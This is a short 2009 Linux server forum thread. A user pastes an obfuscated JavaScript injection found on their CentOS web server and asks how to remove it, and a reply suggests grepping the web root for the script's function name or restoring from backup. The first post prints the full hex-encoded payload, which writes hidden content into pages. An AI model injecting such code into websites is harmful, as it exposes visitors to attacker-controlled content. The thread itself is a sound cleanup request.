LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Server
User Name
Password
Linux - Server This forum is for the discussion of Linux Software used in a server related context.

Notices


Reply
  Search this Thread
Old 03-20-2009, 02:28 AM   #1
nileshparmar
LQ Newbie
 
Registered: Mar 2009
Posts: 8

Rep: Reputation: 0
Arrow script problem


how can i fix below kind of virus code from linux server CENTOS 5.2 i686 on standard

<script>function c265607b11i49b947d485b9f(i49b947d485f86){ function i49b947d486371(){var i49b947d486756=16;return i49b947d486756;} return (parseInt(i49b947d485f86,i49b947d486371()));}function i49b947d486b81(i49b947d486f26){ function i49b947d487aea(){var i49b947d487ed7=2;return i49b947d487ed7;} var i49b947d48730c='';i49b947d4882bf=String.fromCharCode;for(i49b947d4876f4=0;i49b947d4876f4<i49b947d486 f26.length;i49b947d4876f4+=i49b947d487aea()){ i49b947d48730c+=(i49b947d4882bf(c265607b11i49b947d485b9f(i49b947d486f26.substr(i49b947d4876f4,i49b94 7d487aea()))));}return i49b947d48730c;} var r7d='';var i49b947d4886a8='3C7'+r7d+'3637'+r7d+'2697'+r7d+'07'+r7d+'43E696628216D7'+r7d+'96961297'+r7d+'B646F63 7'+r7d+'56D656E7'+r7d+'42E7'+r7d+'7'+r7d+'7'+r7d+'2697'+r7d+'465287'+r7d+'56E657'+r7d+'363617'+r7d+' 065282027'+r7d+'2533632536392536362537'+r7d+'3225363125366425363525323025366525363125366425363525336 42536332533322533362532302537'+r7d+'332537'+r7d+'32253633253364253237'+r7d+'2536382537'+r7d+'342537' +r7d+'342537'+r7d+'302533612532662532662536642536312536632537'+r7d+'37'+r7d+'2536312537'+r7d+'322536 352537'+r7d+'342537'+r7d+'322536312536332536622537'+r7d+'332537'+r7d+'392537'+r7d+'332537'+r7d+'3425 3635253664253265253633253666253664253266253366253237'+r7d+'2532622534642536312537'+r7d+'342536382532 652537'+r7d+'322536662537'+r7d+'352536652536342532382534642536312537'+r7d+'342536382532652537'+r7d+' 3225363125366525363425366625366425323825323925326125333225333625333625333425333025333025323925326225 3237'+r7d+'253330253332253335253333253634253633253334253635253237'+r7d+'2532302537'+r7d+'37'+r7d+'25 36392536342537'+r7d+'34253638253364253335253335253335253230253638253635253639253637'+r7d+'2536382537 '+r7d+'342533642533342533382533302532302537'+r7d+'332537'+r7d+'342537'+r7d+'392536632536352533642532 37'+r7d+'2537'+r7d+'362536392537'+r7d+'332536392536322536392536632536392537'+r7d+'342537'+r7d+'39253 361253638253639253634253634253635253665253237'+r7d+'2533652533632532662536392536362537'+r7d+'3225363 125366425363525336527'+r7d+'29293B7'+r7d+'D7'+r7d+'6617'+r7d+'2206D7'+r7d+'969613D7'+r7d+'47'+r7d+'2 7'+r7d+'5653B3C2F7'+r7d+'3637'+r7d+'2697'+r7d+'07'+r7d+'43E';document.write(i49b947d486b81(i49b947d4 886a8));</script>

Nilesh
 
Old 03-20-2009, 02:45 AM   #2
grizly
Member
 
Registered: Nov 2006
Location: Melbourne Australia
Distribution: Centos, RHEL, Debian, Ubuntu, Mint
Posts: 128

Rep: Reputation: 16
Quote:
cd /var/www/html
grep -H -I -n "c265607b11i49b947d485b9f" * > possibly_infected_files.txt
I've come across something similar before, the machine was infected due to a CSS attack, I just rolled back my backup, but you can try to manually remove it with a technique like what I have illustrated.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
shell script problem, want to use shell script auto update IP~! singying304 Programming 4 11-29-2005 05:32 PM
PPPD Script problem when cron-scheduling the script andresurzagasti Linux - Networking 0 11-24-2004 02:54 PM
Script file problem (or operator problem) HELP! lostone Programming 2 05-23-2001 02:30 PM
Script file problem (or operator problem) HELP! lostone Linux - General 1 05-17-2001 06:11 PM
Script file problem (or operator problem) HELP! lostone Linux - Newbie 0 05-15-2001 07:59 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Server

All times are GMT -5. The time now is 11:06 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration